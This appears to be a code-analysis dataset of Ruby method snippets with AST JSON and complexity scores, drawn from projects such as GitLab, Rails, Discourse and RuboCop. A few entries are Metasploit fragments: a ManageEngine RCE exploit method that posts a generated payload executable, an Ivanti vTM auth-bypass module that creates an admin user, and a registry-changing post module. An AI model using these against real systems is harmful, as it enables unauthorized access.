,\"children\":[\"merge_requests\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestsClosingIssues\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_requests\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"id\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"merge_request_id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_requests\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mr\"]},\"id\"]},\"in?\",{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]}]}","id":"e7234c3f-5fc0-40e7-b949-ca06689047cb"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/reaction.rb","start_line":222,"raw_source":"def negative_reaction_from_untrusted_user?\n    return false if user&.any_admin? || user&.id == Settings::General.mascot_user_id\n\n    negative? && !user.trusted?\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"negative_reaction_from_untrusted_user?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"any_admin?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"mascot_user_id\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"negative?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"trusted?\"]},\"!\"]}]}]}]}","id":"654b9b68-071a-43ba-866c-110323da1fe9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":151,"raw_source":"def test_belongs_to_a_model_with_composite_foreign_key_finds_associated_record\n    comment = sharded_comments(:great_comment_blog_post_one)\n    blog_post = sharded_blog_posts(:great_post_blog_one)\n\n    assert_equal(blog_post, comment.blog_post)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_belongs_to_a_model_with_composite_foreign_key_finds_associated_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"send\",\"children\":[null,\"sharded_comments\",{\"type\":\"sym\",\"children\":[\"great_comment_blog_post_one\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"blog_post\",{\"type\":\"send\",\"children\":[null,\"sharded_blog_posts\",{\"type\":\"sym\",\"children\":[\"great_post_blog_one\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"blog_post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"blog_post\"]}]}]}]}","id":"33f6c99b-fc07-48fa-8098-8c35552fa3c3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/finder/context/test_parse_options.rb","start_line":70,"raw_source":"def test_does_nothing_if_region_is_already_loaded_and_is_parent_but_is_custom\n    @regions_repo.expects(:parent_region_lookup).with(:custom_region).returns(nil)\n    @regions_repo.expects(:loaded?).with(:custom_region).returns(true)\n\n    regions = @subject.call([:custom_region]).first\n    assert_equal([:custom_region], regions)\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_does_nothing_if_region_is_already_loaded_and_is_parent_but_is_custom\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@regions_repo\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"parent_region_lookup\"]}]},\"with\",{\"type\":\"sym\",\"children\":[\"custom_region\"]}]},\"returns\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@regions_repo\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},\"with\",{\"type\":\"sym\",\"children\":[\"custom_region\"]}]},\"returns\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"regions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_region\"]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_region\"]}]},{\"type\":\"lvar\",\"children\":[\"regions\"]}]}]}]}","id":"ea3a12cf-a42c-42e5-ac8c-4e2280ca2c90"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/block_delimiters.rb","start_line":410,"raw_source":"def braces_required_methods\n          cop_config.fetch('BracesRequiredMethods', [])\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"braces_required_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"BracesRequiredMethods\"]},{\"type\":\"array\",\"children\":[]}]}]}","id":"aaba09e0-8e9c-4183-9a87-a11b3f03073d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-solved/lib/discourse_solved/topic_view_serializer_extension.rb","start_line":13,"raw_source":"def accepted_answer\n    object.topic.accepted_answer_post_info\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"accepted_answer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"accepted_answer_post_info\"]}]}","id":"9c3e6106-34ca-4ee1-a946-9340670db3f9"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/test_helper.rb","start_line":205,"raw_source":"def initialize(values)\n    @file_read_count = 0\n    @values          = values\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@file_read_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@values\",{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}","id":"91e97d05-7061-4398-8d1d-eb18c68fd3b6"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/eval_with_location.rb","start_line":169,"raw_source":"def line_difference(line_node, code)\n          string_first_line(code) - line_node.source_range.first_line\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"line_difference\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line_node\"]},{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"string_first_line\",{\"type\":\"lvar\",\"children\":[\"code\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_node\"]},\"source_range\"]},\"first_line\"]}]}]}","id":"5af358fc-1533-4fad-9faf-d6d2cf875e3c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/pptp_tunnel.rb","start_line":66,"raw_source":"def disable_network_wizard\n    if !is_admin?\n      print_error(\"You don't have enough privileges to change the registry. Network Wizard will not be disabled\")\n      return\n    end\n\n    key = 'HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Network'\n    value = 'NewNetworkWindowOff'\n    begin\n      if !registry_getvaldata(key, value)\n        registry_setvaldata(key, value, 3, 'REG_BINARY')\n        print_good('Network Wizard disabled')\n      end\n    rescue StandardError => e\n      print_status(\"The following error was encountered: #{e.class} #{e}\")\n    end\n  end","complexity_score":17.38,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_network_wizard\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"You don't have enough privileges to change the registry. Network Wizard will not be disabled\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"str\",\"children\":[\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Network\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"str\",\"children\":[\"NewNetworkWindowOff\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_setvaldata\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"str\",\"children\":[\"REG_BINARY\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Network Wizard disabled\"]}]}]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The following error was encountered: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]}","id":"6d3d1f7e-37a8-4b13-9643-72fc0d1a685f"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_response_header.rb","start_line":41,"raw_source":"def send_http(req)\n    new_connection << req\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"send_http\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_connection\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}","id":"f2d5fb64-b3a7-4681-82fd-2c1b6e5bd644"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/invitation.rb","start_line":115,"raw_source":"def invitee_already_exists\n      return if resource.blank?\n\n      exists = if invitee.present?\n                resource.users.include?(invitee)\n              else\n                resource.users.exists?(email: email)\n              end\n\n      if exists\n        errors.add(:email, 'already exists')\n      end\n    end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"invitee_already_exists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"exists\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invitee\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"users\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"invitee\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"users\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[null,\"email\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exists\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"str\",\"children\":[\"already exists\"]}]},null]}]}]}","id":"1e34c5e4-2296-468e-b853-002f5dcb6242"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/event.rb","start_line":272,"raw_source":"def milestone\n    target if milestone?\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"milestone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"milestone?\"]},{\"type\":\"send\",\"children\":[null,\"target\"]},null]}]}","id":"7f0792c1-68c9-463c-b3af-8b2333cf31a0"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":18,"raw_source":"def test_utc\n    assert_equal @utc, @twz.utc\n    assert_instance_of Time, @twz.utc\n    assert_instance_of Time, @dt_twz.utc\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_utc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@utc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@twz\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"Time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@twz\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"Time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dt_twz\"]},\"utc\"]}]}]}]}","id":"6ad249ec-8e6a-4ed3-8c9b-9ad3bd487aca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/manageengine_adshacluster_rce.rb","start_line":87,"raw_source":"def exploit\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),\n      'vars_post' => {\n        'MTCALL' => \"nativeClient\",\n        'BCP_RLL' => \"0102\",\n        'BCP_EXE' => bin_to_hex(generate_payload_exe)\n      }\n    })\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"exchange\"]},{\"type\":\"str\",\"children\":[\"servlet\"]},{\"type\":\"str\",\"children\":[\"ADSHACluster\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MTCALL\"]},{\"type\":\"str\",\"children\":[\"nativeClient\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BCP_RLL\"]},{\"type\":\"str\",\"children\":[\"0102\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BCP_EXE\"]},{\"type\":\"send\",\"children\":[null,\"bin_to_hex\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]}]}]}]}]}]}]}]}","id":"fbf73992-ad27-4697-9f11-56b7188d0243"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/stable_branch.rb","start_line":119,"raw_source":"def package_and_test_bridge(mr_head_pipeline_id)\n        gitlab\n          .api\n          .pipeline_bridges(helper.mr_target_project_id, mr_head_pipeline_id)\n          &.find { |bridge| bridge['name'] == 'e2e:test-on-omnibus-ee' }\n      end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"package_and_test_bridge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mr_head_pipeline_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab\"]},\"api\"]},\"pipeline_bridges\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"mr_target_project_id\"]},{\"type\":\"lvar\",\"children\":[\"mr_head_pipeline_id\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bridge\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bridge\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"e2e:test-on-omnibus-ee\"]}]}]}]}","id":"3c35cc29-db44-454e-a03c-8e70de1cc6ef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/ivanti_vtm_admin.rb","start_line":5,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ivanti Virtual Traffic Manager Authentication Bypass (CVE-2024-7593)',\n        'Description' => %q{\n          This module exploits an access control issue in Ivanti Virtual Traffic Manager (vTM), by adding a new\n          administrative user to the web interface of the application.\n\n          Affected versions include 22.7R1, 22.6R1, 22.5R1, 22.3R2, 22.3, 22.2.\n        },\n        'Author' => [\n          'Michael Heinzl', # MSF Module\n          'ohnoisploited', # PoC\n          'mxalias' # Credited in the vendor advisory for the discovery, https://hackerone.com/mxalias?type=user\n        ],\n        'References' => [\n          ['PACKETSTORM', '179906'],\n          ['CVE', '2024-7593'],\n          ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US']\n        ],\n        'DisclosureDate' => '2024-08-05',\n        'DefaultOptions' => {\n          'RPORT' => 9090,\n          'SSL' => true\n        },\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/']),\n      OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username.gsub(/[^a-zA-Z0-9_-]/, '_')]),\n      OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),\n    ])\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Ivanti Virtual Traffic Manager Authentication Bypass (CVE-2024-7593)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an access control issue in Ivanti Virtual Traffic Manager (vTM), by adding a new\\n\"]},{\"type\":\"str\",\"children\":[\"          administrative user to the web interface of the application.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Affected versions include 22.7R1, 22.6R1, 22.5R1, 22.3R2, 22.3, 22.2.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Michael Heinzl\"]},{\"type\":\"str\",\"children\":[\"ohnoisploited\"]},{\"type\":\"str\",\"children\":[\"mxalias\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PACKETSTORM\"]},{\"type\":\"str\",\"children\":[\"179906\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-7593\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2024-08-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[9090]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NEW_USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username to be used when creating a new user with admin privileges\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Internet\"]},\"username\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^a-zA-Z0-9_-]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NEW_PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to be used when creating a new user with admin privileges\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[12]}]}]}]}]}]}]}]}","id":"bf755ca7-5687-4636-8148-c758d4bc5f7a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb","start_line":424,"raw_source":"def create_pipeline!\n    service.execute(:push).payload\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_pipeline!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"execute\",{\"type\":\"sym\",\"children\":[\"push\"]}]},\"payload\"]}]}","id":"e7ee089c-7b15-4184-a3bb-7f245c587dd7"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/category.rb","start_line":28,"raw_source":"def visit_edit_localizations(category)\n        page.visit(\"/c/#{category.slug}/edit/localizations\")\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_edit_localizations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/c/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"slug\"]}]},{\"type\":\"str\",\"children\":[\"/edit/localizations\"]}]}]}]}","id":"c9919343-be0a-4acd-8d18-d72ea739a7cd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/rescue_node.rb","start_line":7,"raw_source":"def modifier_locations\n        @modifier_locations ||= processed_source.tokens.select(&:rescue_modifier?).map!(&:pos)\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"modifier_locations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@modifier_locations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"tokens\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"rescue_modifier?\"]}]}]},\"map!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"pos\"]}]}]}]}]}","id":"50ea202f-9ed8-49cd-8ad0-70ecf253566f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/format_string.rb","start_line":17,"raw_source":"def initialize(info = {})\n    super\n\n    @use_fpu = false\n    @use_dpa = false\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@use_fpu\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@use_dpa\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"3626b2b7-3518-47d4-ae33-8de382d3e570"}
